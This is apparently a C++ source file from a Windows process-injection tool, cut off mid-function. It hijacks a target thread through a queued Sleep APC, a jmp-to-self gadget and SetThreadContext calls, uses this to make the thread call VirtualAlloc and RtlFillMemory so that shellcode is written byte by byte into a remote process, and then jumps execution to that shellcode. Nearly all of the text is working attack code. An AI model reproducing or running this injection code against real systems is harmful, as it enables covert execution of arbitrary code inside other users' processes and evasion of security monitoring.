Files
2025-05-16 13:23:16 +03:00

2706 lines
105 KiB
C++

#include "ApcInjection.h"
bool ExecuteRemoteFunctionViaAPCHijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pfnTargetFunction,
DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
// --- Configuration ---
const DWORD APCSleepDurationMs = 200; // How long the APC makes the thread sleep
const int WaitAfterHijack1Ms = 50; // Time to wait after 1st hijack (for Sleep to finish)
const int LoopCheckTimeoutMs = 2000; // Max time to wait for thread to hit loop gadget
const int LoopCheckIntervalMs = 50; // How often to check if thread is looping
const int SleepWaitTimeoutMs = 3000; // Max time to wait for thread to enter sleep state
const int WakeWaitTimeoutMs = 3000; // Max time to wait for thread to exit sleep state
if (config.verbose)
{
std::cout << " [Hijack Primitive] Executing function at " << pfnTargetFunction << " via APC+Hijack on TID " << config.targetTid << std::endl;
std::cout << " [Hijack Primitive] Args: RCX=" << arg1 << " RDX=" << arg2 << " R8=" << arg3 << " R9=" << arg4 << std::endl;
}
if (!pSleep || !loopGadgetAddr)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: Sleep or Loop Gadget address not initialized!" << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: Target TID is zero!" << std::endl;
return false;
}
// --- Open Target Thread ---
// Permissions needed: SET_CONTEXT, QUERY_INFORMATION, GET_CONTEXT, SUSPEND_RESUME (if used)
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT;
if (config.useSuspend)
{
dwThreadDesiredAccess |= THREAD_SUSPEND_RESUME;
}
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: OpenThread failed for TID " << config.targetTid << ". Error: " << GetLastError() << std::endl;
return false;
}
if (config.verbose)
std::cout << " [Hijack Primitive] Opened target thread handle.\n";
// --- Stage 1: Queue APC to Sleep ---
if (config.verbose)
std::cout << " [Hijack Primitive] Stage 1: Queueing APC to Sleep(" << APCSleepDurationMs << ")\n";
// Use standard QueueUserAPC
DWORD queueResult = QueueUserAPC(
(PAPCFUNC)pSleep, // APC routine is Sleep
hThread, // Target thread
(ULONG_PTR)APCSleepDurationMs // Argument for Sleep
);
if (queueResult == 0)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: QueueUserAPC failed. Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
// Sleep(WaitAfterAPCMs); // Unreliable wait
// --- Wait for Thread to Enter Sleep State --- NEW ---
if (!WaitForThreadToSleep(config.targetTid, SleepWaitTimeoutMs, config.verbose))
{
// Error message already printed by WaitForThreadToSleep
CloseHandle(hThread);
return false;
}
// std::cin.get(); // manual steps
// --- Stage 1.5: Hijack During Sleep -> Infinite Loop ---
if (config.verbose)
std::cout << " [Hijack Primitive] Stage 1.5: Hijacking Sleep -> Loop\n";
bool suspended1 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
{
suspended1 = true;
if (config.verbose)
std::cout << " [Suspend] Thread suspended.\n";
}
else
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: SuspendThread (1) failed. Error: " << GetLastError() << std::endl;
// Continue without suspend? Or fail? Let's try continuing but log warning.
}
}
CONTEXT ctx1 = {0};
ctx1.ContextFlags = CONTEXT_CONTROL; // Only need RIP
if (!GetThreadContext(hThread, &ctx1))
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: GetThreadContext (1) failed. Error: " << GetLastError() << std::endl;
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Context] Current RIP (in Sleep?): 0x" << std::hex << ctx1.Rip << std::dec << "\n";
// Modify RIP to point to the loop gadget
ctx1.Rip = (DWORD64)loopGadgetAddr;
if (config.verbose)
std::cout << " [Context] Setting RIP to Loop Gadget: 0x" << std::hex << ctx1.Rip << std::dec << "\n";
if (!SetThreadContext(hThread, &ctx1))
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: SetThreadContext (1) failed. Error: " << GetLastError() << std::endl;
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Context] SetThreadContext (1) successful.\n";
if (suspended1)
{
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: ResumeThread (1) failed. Error: " << GetLastError() << std::endl;
// If resume fails after setting context, the thread might be stuck suspended. Critical error.
CloseHandle(hThread);
return false;
}
else
{
if (config.verbose)
std::cout << " [Suspend] Thread resumed.\n";
}
}
if (config.verbose)
std::cout << " [Hijack Primitive] Thread should finish Sleep, then hit loop. Waiting (" << WaitAfterHijack1Ms << "ms)...\n";
Sleep(WaitAfterHijack1Ms);
// std::cin.get(); // manual steps
// --- Verification Step A: Wait for Thread to Finish Sleeping --- NEW ---
if (!WaitForThreadToRunOrReady(config.targetTid, WakeWaitTimeoutMs, config.verbose))
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: Thread did not exit Waiting state after hijack 1." << std::endl;
CloseHandle(hThread);
return false;
}
// --- At this point, the thread should have finished its kernel delay ---
// Optional: Add a very small delay here if needed for context switch stabilization
::Sleep(10);
// --- Verification (Old, maybe can remove): Check if Thread is Spinning ---
if (config.verbose)
std::cout << " [Hijack Primitive] Verifying thread is at loop gadget (Timeout: " << LoopCheckTimeoutMs << "ms)...\n";
bool loopConfirmed = false;
auto startTime = std::chrono::steady_clock::now();
CONTEXT ctx_check = {0};
ctx_check.ContextFlags = CONTEXT_CONTROL; // Only need RIP
while (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - startTime).count() < LoopCheckTimeoutMs)
{
// Don't suspend/resume here for checking, just get context if possible
if (GetThreadContext(hThread, &ctx_check))
{
if (ctx_check.Rip == (DWORD64)loopGadgetAddr)
{
loopConfirmed = true;
// This case should be less common now after WaitForThreadToRunOrReady, but possible during context switch
if (config.verbose)
std::cout << " [Verify] Loop confirmed at RIP: 0x" << std::hex << ctx_check.Rip << std::dec << "\n";
break;
}
}
else
{
// GetThreadContext failing might mean thread terminated or other issue
DWORD error = GetLastError();
if (error == ERROR_ACCESS_DENIED && config.verbose)
{ /* Expected sometimes */
}
else
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: GetThreadContext (check loop) failed. Error: " << error << std::endl;
}
// Optionally break or continue based on error
}
Sleep(LoopCheckIntervalMs);
}
if (!loopConfirmed)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: Timed out waiting for thread to hit loop gadget (RIP=0x" << std::hex << ctx_check.Rip << std::dec << "). Aborting.\n";
CloseHandle(hThread);
return false;
}
// --- Stage 2: Hijack the Spinning Thread -> Target Function ---
if (config.verbose)
std::cout << " [Hijack Primitive] Stage 2: Hijacking Loop -> Target Function (" << pfnTargetFunction << ")\n";
bool suspended2 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
{
suspended2 = true;
if (config.verbose)
std::cout << " [Suspend] Thread suspended.\n";
}
else
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: SuspendThread (2) failed. Error: " << GetLastError() << std::endl;
}
}
CONTEXT ctx2 = {0};
// Need CONTROL (RIP) and INTEGER (RCX, RDX, R8, R9)
ctx2.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &ctx2))
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: GetThreadContext (2) failed. Error: " << GetLastError() << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
// Verify RIP is *still* at the loop gadget just before setting context
if (ctx2.Rip != (DWORD64)loopGadgetAddr)
{
std::cerr << "[!] CRITICAL WARNING: Thread RIP 0x" << std::hex << ctx2.Rip << " changed before final hijack! Expected 0x" << loopGadgetAddr << std::dec << ". Aborting.\n";
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Context] Confirmed RIP at loop gadget: 0x" << std::hex << ctx2.Rip << std::dec << "\n";
// Setup target function call
ctx2.Rip = (DWORD64)pfnTargetFunction;
ctx2.Rcx = arg1;
ctx2.Rdx = arg2;
ctx2.R8 = arg3;
ctx2.R9 = arg4;
// RSP should remain valid from the spinning state
if (config.verbose)
{
std::cout << " [Context] Setting Context for Target Function call:\n";
std::cout << " RIP = 0x" << std::hex << ctx2.Rip << "\n";
std::cout << " RCX = 0x" << ctx2.Rcx << "\n";
std::cout << " RDX = 0x" << ctx2.Rdx << "\n";
std::cout << " R8 = 0x" << ctx2.R8 << "\n";
std::cout << " R9 = 0x" << ctx2.R9 << std::dec << "\n";
}
if (!SetThreadContext(hThread, &ctx2))
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: SetThreadContext (2) failed. Error: " << GetLastError() << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Context] SetThreadContext (2) successful.\n";
if (suspended2)
{
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cerr << "[!] ExecuteRemoteFunctionViaAPCHijack: ResumeThread (2) failed. Error: " << GetLastError() << std::endl;
// Critical failure
CloseHandle(hThread);
return false;
}
else
{
if (config.verbose)
std::cout << " [Suspend] Thread resumed. Should execute target function.\n";
}
}
else
{
if (config.verbose)
std::cout << " [Hijack Primitive] Thread not suspended. Should execute target function.\n";
}
// --- Cleanup ---
CloseHandle(hThread);
if (config.verbose)
std::cout << " [Hijack Primitive] Hijack sequence complete. Thread handle closed.\n";
// Note: Success here means the hijack sequence was completed.
// The target function's execution and return are asynchronous.
return true;
}
// Helper function to use ROP gadget for shellcode injection (Definition moved below Inject)
bool InjectShellcodeUsingAPC(
HANDLE hProcess,
const std::vector<unsigned char> &shellcodeBytes,
const InjectionConfig &config)
{
if (config.contextMethod != ContextMethod::TWO_STEP)
{
std::cerr << "[!] InjectShellcodeUsingAPC currently only supports '--context-method two-step'." << std::endl;
// Optionally fall back to a simpler method or just fail.
// For now, we fail if the context isn't two-step.
// We could implement the direct QueueUserAPC(shellcode) here under a different context method if needed.
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] QueueUserAPC (two-step) method requires a target thread ID (--tid)." << std::endl;
return false;
}
if (shellcodeBytes.empty())
{
std::cerr << "[!] No shellcode provided to inject." << std::endl;
return false;
}
// Get necessary function addresses
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32)
{
std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl;
return false;
}
LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID pRtlMoveMemory = GetProcAddress(hKernel32, "RtlMoveMemory");
LPVOID pRtlFillMemory = GetProcAddress(hKernel32, "RtlFillMemory");
// LPVOID pRtlFillMemory = ::pRtlFillMemory; // Use the global pointer
LPVOID pSleep = GetProcAddress(hKernel32, "Sleep");
LPVOID loopGadgetAddr = nullptr;
std::cout << "[*] Searching for local loop gadget (EB FE) in ntdll.dll..." << std::endl;
std::vector<BYTE> loopGadgetBytes = {0xEB, 0xFE}; // jmp short -2
loopGadgetAddr = FindLocalGadgetInRX("ntdll.dll", loopGadgetBytes, config.verbose);
if (config.verbose)
{
std::cout << "[*] Using two-step APC hijack context method." << std::endl;
std::cout << "[*] Target TID: " << config.targetTid << std::endl;
std::cout << "[*] Required addresses:"
<< "\n VirtualAlloc: " << pVirtualAlloc
<< "\n RtlMoveMemory: " << pRtlMoveMemory
<< "\n RtlFillMemory: " << pRtlFillMemory
<< "\n Sleep: " << pSleep
<< "\n Loop Gadget: " << loopGadgetAddr << std::endl;
}
if (!pVirtualAlloc || !pRtlFillMemory || !pSleep || !loopGadgetAddr)
{
std::cerr << "[!] Failed to get necessary function addresses. Error: " << GetLastError() << std::endl;
return false;
}
// --- Injection Steps ---
// 1. Allocate memory in the target process for the shellcode
DWORD64 ALLOC_SIZE = config.allocSize;
DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE;
DWORD64 ALLOC_PROTECT = config.allocPerm;
DWORD64 REQUESTED_ALLOC_ADDR = config.allocAddress ? config.allocAddress : 0x60000;
LPVOID pRemoteMemory = (LPVOID)REQUESTED_ALLOC_ADDR;
if (config.verbose)
{
std::cout << "\n[*] --- Step 1: Allocating Memory ---" << std::endl;
std::cout << "[*] Attempting to call VirtualAlloc via APC+Hijack" << std::endl;
std::cout << "[*] Requested Address: " << pRemoteMemory << " (Assumed)" << std::endl;
std::cout << "[*] Size: " << ALLOC_SIZE << " bytes" << std::endl;
std::cout << "[*] Permissions: 0x" << std::hex << ALLOC_PROTECT << std::dec << std::endl;
}
bool allocSuccess = ExecuteRemoteFunctionViaAPCHijack(
hProcess,
config,
pVirtualAlloc,
REQUESTED_ALLOC_ADDR, // RCX: lpAddress (REQUESTED)
ALLOC_SIZE, // RDX: dwSize
ALLOC_TYPE, // R8: flAllocationType
ALLOC_PROTECT, // R9: flProtect
pSleep, // Sleep function address
loopGadgetAddr // Loop Gadget address
);
if (!allocSuccess)
{
std::cerr << "[!] Failed to execute VirtualAlloc call via APC+Hijack." << std::endl;
// No memory to free here as we don't know if it was allocated
return false;
}
// We *assume* allocation succeeded at pRemoteMemory. A check could involve
// trying to ReadProcessMemory from pRemoteMemory, but even that isn't foolproof.
if (config.verbose)
{
std::cout << "[+] VirtualAlloc call executed via hijack (Assumed success at " << pRemoteMemory << ")." << std::endl;
}
if (config.verbose)
{
std::cout << "\n[*] --- Step 2: Writing Shellcode (Byte-by-Byte via Hijack) ---" << std::endl;
std::cout << "[*] This step will be very slow. Please be patient." << std::endl;
}
// --- DEBUG PAUSE 1 ---
if (config.enterDebug)
{
std::cout << "\n [DEBUG] InjectShellcodeUsingAPC: Post-Allocation" << std::endl;
std::cout << " Target PID: " << config.targetPid << ", TID: " << config.targetTid << std::endl;
std::cout << " Assumed allocated memory (pRemoteMemory): 0x" << std::hex << pRemoteMemory << std::dec << std::endl;
std::cout << " Size: " << ALLOC_SIZE << " bytes, Permissions: 0x" << std::hex << ALLOC_PROTECT << std::dec << std::endl;
std::cout << " [ACTION] Press ENTER to proceed to write shellcode..." << std::endl;
// std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n'); // Already cleared if needed
std::cin.get();
}
// --- END DEBUG PAUSE 1 ---
// 2. Write Shellcode using PerformRemoteMemoryCopyViaAPCHijack
bool copySuccess = PerformRemoteMemoryCopyViaAPCHijack(
hProcess,
config,
pRtlFillMemory, // Pass RtlMoveMemory address
pRemoteMemory, // Destination base address
shellcodeBytes.data(), // Source shellcode buffer
shellcodeBytes.size(), // Source shellcode size
pSleep, // Pass Sleep address
loopGadgetAddr // Pass Gadget address
);
if (!copySuccess)
{
std::cerr << "[!] Failed during byte-by-byte shellcode copy via APC+Hijack." << std::endl;
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); // Attempt cleanup
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode copy via hijack completed." << std::endl;
}
// 3. Execute Shellcode using the Hijack Primitive
if (config.verbose)
{
std::cout << "\n[*] --- Step 3: Executing Shellcode (Direct Jump via Hijack) ---" << std::endl;
std::cout << "[*] Attempting to jump to shellcode at " << pRemoteMemory << " via APC+Hijack" << std::endl;
}
// --- DEBUG PAUSE 3 (Pre-Execution) --- // ADDED THIS PAUSE
if (config.enterDebug)
{
std::cout << "\n [DEBUG] InjectShellcodeUsingAPC: Pre-Execution" << std::endl;
std::cout << " About to hijack to shellcode at 0x" << std::hex << pRemoteMemory << std::dec << std::endl;
std::cout << " [ACTION] Press ENTER to trigger shellcode execution..." << std::endl;
std::cin.get();
}
// --- END DEBUG PAUSE 3 ---
// Hijack directly into the shellcode address, we could add more triggers here like callback registrations etc,
// if we want to free the thread executing the apc without relying on the shellcode.
bool execSuccess = ExecuteRemoteFunctionViaAPCHijack(
hProcess, config,
pRemoteMemory, // Target function is the shellcode itself
0, 0, 0, 0, // Args (usually none needed for shellcode entry)
pSleep, // Pass Sleep pointer
loopGadgetAddr // Pass Gadget pointer
);
if (!execSuccess)
{
std::cerr << "[!] Failed to execute shellcode call via APC+Hijack." << std::endl;
// Don't free here, shellcode might be partially running or needed
// VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE); // Maybe attempt cleanup? Risky.
return false;
}
if (config.verbose)
{
std::cout << "[+] Shellcode execution triggered via hijack." << std::endl;
}
return true; // Success means all steps initiated
}
// --- Byte-by-Byte Memory Copy via APC Hijack ---
bool PerformRemoteMemoryCopyViaAPCHijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pRtlFillMemory,
LPVOID pRemoteDestBase,
const unsigned char *sourceData,
size_t dataSize,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
if (!pRtlFillMemory || !pRemoteDestBase || !sourceData || !pSleep || !loopGadgetAddr)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaAPCHijack: Invalid arguments provided." << std::endl;
return false;
}
if (config.verbose)
{
std::cout << " [Copy Primitive] Starting byte-by-byte copy of " << dataSize << " bytes to " << pRemoteDestBase << " using APC+Hijack(RtlMoveMemory)..." << std::endl;
std::cout << " [Copy Primitive] WARNING: This process will be slow!" << std::endl;
}
for (size_t i = 0; i < dataSize; ++i)
{
char targetChar = static_cast<char>(sourceData[i]);
BYTE byteToWrite = sourceData[i]; // Get the byte value directly from the source buffer for memset/RtlFillMemory
// LPVOID remoteByteAddress = FindCharInRemoteProcess(hProcess, targetChar); // Find the byte in the target process's memory for memcpy/RtlMoveMemory
// if (remoteByteAddress == nullptr) {
// // This is a significant problem. We can't find the byte needed.
// // Option 1: Skip the byte (leaves garbage).
// // Option 2: Fail entirely.
// std::cerr << "[!] PerformRemoteMemoryCopyViaAPCHijack: Failed to find byte value 0x"
// << std::hex << static_cast<int>(targetChar) << std::dec
// << " (at index " << i << ") in remote process memory. Cannot copy." << std::endl;
// if (config.verbose && i > 0) { // Log progress if some bytes were copied
// std::cout << " [Copy Primitive] Copied " << i << " bytes before failure." << std::endl;
// }
// return false; // Fail completely is safer
// }
// Log progress
if (config.verbose)
{
std::cout << " [Copy Primitive] Copying byte " << i + 1 << "/" << dataSize << " (Value: 0x" << std::hex << static_cast<int>(targetChar) << std::dec << ")" << std::endl;
}
else if (i % 10 == 0)
{
std::cout << " [Copy Primitive] Copying byte " << i + 1 << "/" << dataSize << " (Value: 0x" << std::hex << static_cast<int>(targetChar) << std::dec << ")" << std::endl;
}
// Use the APC hijack primitive to call RtlMoveMemory(destination + i, remoteByteAddress, 1)
// Cast pRemoteDestBase to BYTE* for pointer arithmetic
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteDestBase) + i);
// bool hijackSuccess = ExecuteRemoteFunctionViaAPCHijack(
// hProcess,
// config,
// pRtlMoveMemory, // Target function
// destinationAddressByte, // Arg1 (RCX): Destination address for this byte
// (DWORD64)remoteByteAddress, // Arg2 (RDX): Source address (where the byte was found)
// 1, // Arg3 (R8): Length (1 byte)
// 0, // Arg4 (R9): Unused
// pSleep, // Pass Sleep pointer
// loopGadgetAddr // Pass Gadget pointer
//);
// Use the APC hijack primitive to call RtlFillMemory(Destination, Length=1, Fill=byteToWrite)
// Arguments for RtlFillMemory: (PVOID Destination, SIZE_T Length, BYTE Fill)
// Map to Hijack Args: (RCX, RDX, R8)
bool hijackSuccess = ExecuteRemoteFunctionViaAPCHijack(
hProcess,
config,
pRtlFillMemory, // Target function = RtlFillMemory
destinationAddressByte, // Arg1 (RCX): Destination address for this byte
1, // Arg2 (RDX): Length (1 byte)
(DWORD64)byteToWrite, // Arg3 (R8): Fill byte value
0, // Arg4 (R9): Unused
pSleep,
loopGadgetAddr);
if (!hijackSuccess)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaAPCHijack: Hijack sequence failed for byte " << i << "." << std::endl;
if (config.verbose && i > 0)
{
std::cout << " [Copy Primitive] Copied " << i << " bytes before failure." << std::endl;
}
// If the hijack itself fails, something is wrong with the target thread state or permissions.
return false; // Abort on hijack failure
}
// Optional: Short delay between hijacks if needed, though unlikely necessary
// std::this_thread::sleep_for(std::chrono::milliseconds(5));
}
if (config.verbose)
{
std::cout << " [Copy Primitive] Successfully completed " << dataSize << " byte-by-byte copy hijacks." << std::endl;
}
return true; // Return true if the loop completes (all hijacks initiated)
}
// --- Helper to get Thread State and Wait Reason ---
// Returns true on success, filling outState and outWaitReason.
// Returns false if thread not found or API fails.
bool GetThreadStateAndWaitReason(DWORD targetTid, KTHREAD_STATE &outState, KWAIT_REASON &outWaitReason, bool verbose)
{
if (!pNtQuerySystemInformation)
return false;
NTSTATUS status;
ULONG bufferSize = 0;
PVOID buffer = nullptr;
// Query required buffer size
status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, nullptr, 0, &bufferSize);
if (status != STATUS_INFO_LENGTH_MISMATCH)
{
if (verbose)
std::cerr << " [Get State] NtQuerySystemInformation (size query) failed: 0x" << std::hex << status << std::dec << std::endl;
return false;
}
// Allocate buffer (add some padding)
bufferSize += 1024 * 16; // Add 16KB padding
buffer = VirtualAlloc(nullptr, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer)
{
if (verbose)
std::cerr << " [Get State] Failed to allocate buffer for system information." << std::endl;
return false;
}
// Query actual information
status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, buffer, bufferSize, &bufferSize);
if (status != STATUS_SUCCESS)
{
if (verbose)
std::cerr << " [Get State] NtQuerySystemInformation failed: 0x" << std::hex << status << std::dec << std::endl;
VirtualFree(buffer, 0, MEM_RELEASE);
return false;
}
// Iterate through processes and threads using official PSYSTEM_PROCESS_INFO
PSYSTEM_PROCESS_INFO pCurrentProcess = (PSYSTEM_PROCESS_INFO)buffer;
while (true)
{
// Use official PSYSTEM_THREAD_INFORMATION
// Correctly calculate pointer to first thread structure
PSYSTEM_THREAD_INFORMATION pThreadInfo = pCurrentProcess->Threads;
for (ULONG i = 0; i < pCurrentProcess->NumberOfThreads; ++i)
{
// Basic bounds check
if ((BYTE *)pThreadInfo >= ((BYTE *)buffer + bufferSize))
{
if (verbose)
std::cerr << " [Get State] Buffer overrun detected while parsing threads." << std::endl;
goto cleanup_and_fail; // Use goto for cleanup on inner loop failure
}
// Access members using the official structure pointer type
if (pThreadInfo->ClientId.UniqueThread == (HANDLE)(DWORD_PTR)targetTid)
{
outState = (KTHREAD_STATE)pThreadInfo->ThreadState; // Cast enum if necessary
outWaitReason = (KWAIT_REASON)pThreadInfo->WaitReason; // Cast enum if necessary
if (verbose)
{
std::cout << " [Get State] Found TID " << targetTid << ": State=" << outState << ", WaitReason=" << outWaitReason << std::endl;
}
VirtualFree(buffer, 0, MEM_RELEASE);
return true; // Found it!
}
// Advance pointer - ASSUMING fixed size, this is fragile.
pThreadInfo++;
} // End thread loop
// Move to the next process entry
if (pCurrentProcess->NextEntryOffset == 0)
{
break; // End of list
}
// Basic bounds check before advancing process pointer
if (((BYTE *)pCurrentProcess + pCurrentProcess->NextEntryOffset) >= ((BYTE *)buffer + bufferSize) ||
((BYTE *)pCurrentProcess + pCurrentProcess->NextEntryOffset) <= (BYTE *)pCurrentProcess) // Sanity check offset
{
if (verbose)
std::cerr << " [Get State] Invalid NextEntryOffset detected." << std::endl;
break;
}
pCurrentProcess = (PSYSTEM_PROCESS_INFO)((BYTE *)pCurrentProcess + pCurrentProcess->NextEntryOffset);
// Basic check: ensure next process start isn't outside buffer
if ((BYTE *)pCurrentProcess >= ((BYTE *)buffer + bufferSize))
{
if (verbose)
std::cerr << " [Get State] Buffer overrun detected while parsing processes." << std::endl;
break;
}
} // End process loop
cleanup_and_fail: // Label for cleanup before returning false
// Thread not found
if (verbose)
std::cerr << " [Get State] Target TID " << targetTid << " not found in system process list." << std::endl;
VirtualFree(buffer, 0, MEM_RELEASE);
return false;
}
// --- IsThreadSleeping using State Check ---
bool IsThreadSleeping(DWORD targetTid, bool verbose)
{
KTHREAD_STATE state;
KWAIT_REASON waitReason;
if (GetThreadStateAndWaitReason(targetTid, state, waitReason, verbose))
{
// Check if the thread is in a waiting state AND the reason is DelayExecution
if (state == Waiting && (waitReason == DelayExecution || waitReason == WrDelayExecution))
{
return true;
}
// Optional: Log other waiting states if verbose
else if (verbose && state == Waiting)
{
std::cout << " [Check Sleep] Thread is Waiting, but Reason=" << waitReason << " (Not DelayExecution)" << std::endl;
}
}
// Return false if thread not found, query failed, or state/reason don't match
return false;
}
// --- WaitForThreadToSleep using State Check ---
bool WaitForThreadToSleep(DWORD targetTid, int timeoutMs, bool verbose)
{
if (verbose)
std::cout << " [Wait Sleep] Waiting up to " << timeoutMs << "ms for thread " << targetTid << " state=Waiting, reason=DelayExecution..." << std::endl;
auto startTime = std::chrono::steady_clock::now();
const int checkIntervalMs = 50;
while (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - startTime).count() < timeoutMs)
{
// Call the *new* IsThreadSleeping which uses GetThreadStateAndWaitReason
if (IsThreadSleeping(targetTid, verbose))
{
if (verbose)
std::cout << " [Wait Sleep] Detected thread in DelayExecution state." << std::endl;
return true;
}
::Sleep(checkIntervalMs);
}
std::cerr << "[!] WaitForThreadToSleep: Timed out waiting for thread " << targetTid << " to enter DelayExecution state." << std::endl;
return false;
}
// --- Wait Function for Running/Ready State ---
// Waits for the target thread to exit the Waiting state.
// Returns true if state changes within timeout, false otherwise.
bool WaitForThreadToRunOrReady(DWORD targetTid, int timeoutMs, bool verbose)
{
if (verbose)
std::cout << " [Wait Run/Ready] Waiting up to " << timeoutMs << "ms for thread " << targetTid << " to exit Waiting state..." << std::endl;
auto startTime = std::chrono::steady_clock::now();
const int checkIntervalMs = 20; // Check more frequently here
KTHREAD_STATE state;
KWAIT_REASON waitReason; // We don't check reason here, just state
while (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - startTime).count() < timeoutMs)
{
if (GetThreadStateAndWaitReason(targetTid, state, waitReason, false)) // Don't need verbose logging inside loop
{
if (state != Waiting)
{ // Check if NOT waiting anymore
if (verbose)
std::cout << " [Wait Run/Ready] Thread state changed to " << state << ". (No longer Waiting)" << std::endl;
return true;
}
// If verbose, maybe log that it's still waiting periodically
// else if (verbose && (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - startTime).count() % 500 < checkIntervalMs)) {
// std::cout << " [Wait Run/Ready] Thread still Waiting (Reason: " << waitReason << ")" << std::endl;
// }
}
else
{
// GetThreadStateAndWaitReason failed - could be transient or thread died
if (verbose)
std::cerr << " [Wait Run/Ready] GetThreadStateAndWaitReason failed during wait." << std::endl;
// Optionally break or add error tolerance
}
::Sleep(checkIntervalMs);
}
std::cerr << "[!] WaitForThreadToRunOrReady: Timed out waiting for thread " << targetTid << " to exit Waiting state." << std::endl;
return false;
}
// Injection.cpp
// ... includes ...
// ... other helpers (GetThreadStateAndWaitReason) ...
// --- Helper to Check if Thread is Likely Alertable ---
// Checks if the thread is in a state conducive to processing user-mode APCs.
// Returns true if likely alertable, false otherwise or on error.
bool IsThreadAlertable(DWORD targetTid, bool verbose)
{
KTHREAD_STATE state;
KWAIT_REASON waitReason;
if (GetThreadStateAndWaitReason(targetTid, state, waitReason, verbose))
{
// Condition 1: Thread is Waiting for a UserRequest (common for alertable waits)
if (state == Waiting && waitReason == UserRequest)
{
if (verbose)
std::cout << " [Check Alertable] Thread State=Waiting, Reason=UserRequest. Likely alertable." << std::endl;
return true;
}
// Condition 2: Thread is Running (will process APC on next alertable wait or syscall return)
// This is less certain, but worth considering. Forcing requires an alertable wait.
if (state == Running)
{
if (verbose)
std::cout << " [Check Alertable] Thread State=Running. May process APC later." << std::endl;
// Return true here if you want to proceed even if it's running,
// acknowledging the delay. Return false if you require it to be waiting already.
// Let's be stricter for now and require a Waiting state.
// return true;
}
// Condition 3: Maybe it's already in DelayExecution from a *previous* Sleep?
// This is less likely what we want for queuing a *new* APC, but worth noting.
if (state == Waiting && (waitReason == DelayExecution || waitReason == WrDelayExecution))
{
if (verbose)
std::cout << " [Check Alertable] Thread State=Waiting, Reason=DelayExecution. Already sleeping." << std::endl;
// It might still process our new APC when it wakes up, but it's not ideal.
// return true; // Decide if this state is acceptable
}
// If none of the above, likely not immediately alertable
if (verbose)
std::cout << " [Check Alertable] Thread State=" << state << ", Reason=" << waitReason << ". Not typically alertable immediately." << std::endl;
return false;
}
else
{
// GetThreadStateAndWaitReason failed
if (verbose)
std::cerr << " [Check Alertable] Failed to get thread state/reason." << std::endl;
return false;
}
}
bool ExecuteRemoteFunctionViaQueueUserAPC2Hijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pfnTargetFunction,
DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
if (!pQueueUserAPC2)
{
std::cerr << "[!] QueueUserAPC2 function pointer is NULL!" << std::endl;
return false;
}
if (!pSleep || !loopGadgetAddr)
{
std::cerr << "[!] Sleep or Loop Gadget address not initialized!" << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] Target TID is zero!" << std::endl;
return false;
}
